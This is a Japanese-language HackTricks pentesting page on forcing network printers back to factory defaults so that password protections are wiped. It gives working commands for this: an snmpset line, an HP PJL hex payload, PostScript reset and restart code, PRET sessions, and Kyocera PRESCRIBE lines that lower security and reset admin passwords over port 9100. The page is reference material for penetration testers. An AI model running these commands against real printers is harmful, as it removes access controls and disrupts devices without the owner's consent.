hacktricks/network-services-pentesting/pentesting-printers/factory-defaults.md

7.8 KiB
Raw Blame History

htARTE (HackTricks AWS Red Team Expert) を使ってAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

デバイスを工場出荷時のデフォルトにリセットすることは、ユーザー設定のパスワードのような保護メカニズムを上書きするため、セキュリティ上重要な機能です。これは通常、プリンターのコントロールパネル上の特別なキーの組み合わせを押すことで行うことができます。このようなコールドリセットは数秒で完了するため、例えば昼休みにコピー室に忍び込むなど、ローカルの攻撃者やペネトレーションテスターにとって現実的なシナリオです。ただし、デバイスへの物理的アクセス常にオプションではありません

SNMP

Printer-MIBはprtGeneralResetオブジェクト(OID 1.3.6.1.2.1.43.5.1.1.3.1を定義しており、攻撃者はSNMPを使用してデバイスを再起動powerCycleReset(4)、NVRAM設定をリセットresetToNVRAM(5)、または工場出荷時のデフォルトに復元resetToFactoryDefaults(6))することができます。この機能/攻撃は多くのプリンターでサポートされており、組み込みウェブサーバーのユーザー設定パスワードなどのすべての保護メカニズムを削除します。保護メカニズムを効率的にバイパスできる一方で、このアプローチの実用的な欠点は、静的IPアドレスの設定が失われることです。DHCPサービスが利用できない場合、攻撃者は工場出荷時のデフォルトにリセットした後、デバイスに再接続することはできません

デバイスを工場出荷時のデフォルトにリセットするには、以下に示すようにsnmpsetコマンドを使用します(コミュニティストリングを知っている必要があります。ほとんどの場合、デフォルトはpublicです):

snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6

PML/PJL

多くのシナリオでは、攻撃者はファイアウォールや不明なSNMPコミュニティ文字列のためにSNMPリクエストを実行する能力がありません。しかし、HPデバイスでは、SNMPをそのPML表現に変換し、正当な印刷ジョブ内にリクエストを埋め込むことができます。これにより、攻撃者は以下に示すように、通常の印刷ジョブ内でデバイスを再起動および/またはリセットして工場出荷時のデフォルトに戻すことができます:

@PJL DMCMD ASCIIHEX="040006020501010301040106"

誰でもこの攻撃をHPプリンターで再現できます。デバイスの再起動やリセットは、PRETを使用して簡単に再現できます:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

PostScript

PostScriptには同様の機能がありますFactoryDefaults システムパラメーターは、「trueに設定されプリンターがオフになる直前に、次の電源オン時にすべての不揮発性パラメーターが工場出荷時のデフォルト値に戻るフラグです」。PostScript自体にも環境を再起動する機能がありますが、有効なパスワードが必要です。
しかし、PostScriptインタープリターは、ドキュメント処理 DoS攻撃で議論されているように、無限ループに陥ることができ、これによりユーザーはデバイスを手動で再起動し、PostScriptのパスワードをリセットする必要があります。

PostScriptシステムパラメーターを工場出荷時のデフォルトにリセットする

<< /FactoryDefaults true >> setsystemparams

PostScript インタープリタと仮想メモリを再起動します:

true 0 startjob systemdict /quit get exec

誰でもプリンターのPostScriptインタープリタを再起動またはリセットすることが、PRETを使用して簡単に再現できます

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

PRESCRIBE

キョセラデバイスにおいて、PRESCRIBEページ 記述言語は以下に示すコマンドのいずれかを使用して、通常の印刷ジョブ内からデバイスを工場出荷時のデフォルトにリセットするために使用することができます:

!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'";  CMMT "Drop the security level, reset password";
!R! ACNT "REST";                                       CMMT "Reset account code admin password";
!R! EGRE;                                              CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0";                                   CMMT "Reset configuration settings";

この攻撃を再現するには、プリンターの9100/tcpポートに対して生のネットワーク接続を開き、上記のコマンドを送信します

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法: